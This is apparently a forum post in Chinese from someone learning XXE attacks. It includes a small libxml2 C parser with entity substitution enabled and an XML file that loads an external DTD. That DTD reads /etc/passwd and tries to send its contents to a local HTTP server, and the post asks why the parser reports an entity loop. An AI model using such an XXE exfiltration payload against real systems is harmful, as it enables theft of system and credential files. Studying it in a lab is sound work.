我正在研究XXE和数据泄露,我想通过实际测试来了解它是如何工作的,但由于某些原因,我无法做到。
我正在使用小型 C 程序读取 XML 文件和要从 XML 下载的外部 DTD。
这是C程序:
#include <stdio.h>
#include <libxml/parser.h>
void handleXmlElement(xmlNodePtr node)
{
xmlChar *content = xmlNodeGetContent(node);
printf("%s\n", content);
xmlFree(content);
}
void handleXmlDoc(xmlDocPtr doc)
{
xmlNodePtr root = xmlDocGetRootElement(doc);
xmlNodePtr child;
for (child = root->children; child != NULL; child = child->next)
{
if (child->type == XML_ELEMENT_NODE)
{
handleXmlElement(child);
}
}
}
int main()
{
// Load the XML document from a file
const char *filename = "xml/test1.xml";
int options = XML_PARSE_NOENT | XML_PARSE_COMPACT;
xmlDocPtr doc = xmlReadFile(filename, NULL, options);
if (doc == NULL)
{
fprintf(stderr, "Failed to parse %s\n", filename);
return 1;
}
// Process the XML document
handleXmlDoc(doc);
// Free the XML document
xmlFreeDoc(doc);
// Cleanup libxml2
xmlCleanupParser();
return 0;
}
这些是 XML 和 DTD 文件:
test1.xml:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE example [
<!ELEMENT example ANY >
<!ENTITY % xxe SYSTEM "http://127.0.0.1:8000/test1.dtd" >
%xxe;]>
<example>
<data>Some data</data>
</example>
test1.dtd:
<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!ENTITY % wrapper "<!ENTITY % exfiltrate SYSTEM 'http://127.0.0.1:8000/?data=%payload;'>">
%wrapper;
问题是当我运行代码时,我只得到以下错误:
http://127.0.0.1:8000/test1.dtd:2: parser error : Detected an entity reference loop
per "<!ENTITY % exfiltrate SYSTEM 'http://127.0.0.1:8000/?data=%payload;'>"
^
http://127.0.0.1:8000/test1.dtd:3: parser warning : PEReference: %wrapper; not found
%wrapper;
^
Failed to parse xml/test1.xml
Process finished with exit code 1
我不知道问题出在哪里,因为 XML 和 DTD 文件都是“标准”的,并且在我遵循的指南中它们是这样定义的。
如果你能帮助我,我将不胜感激,因为我已经考虑了几天,但我找不到解决循环错误的方法。
谢谢!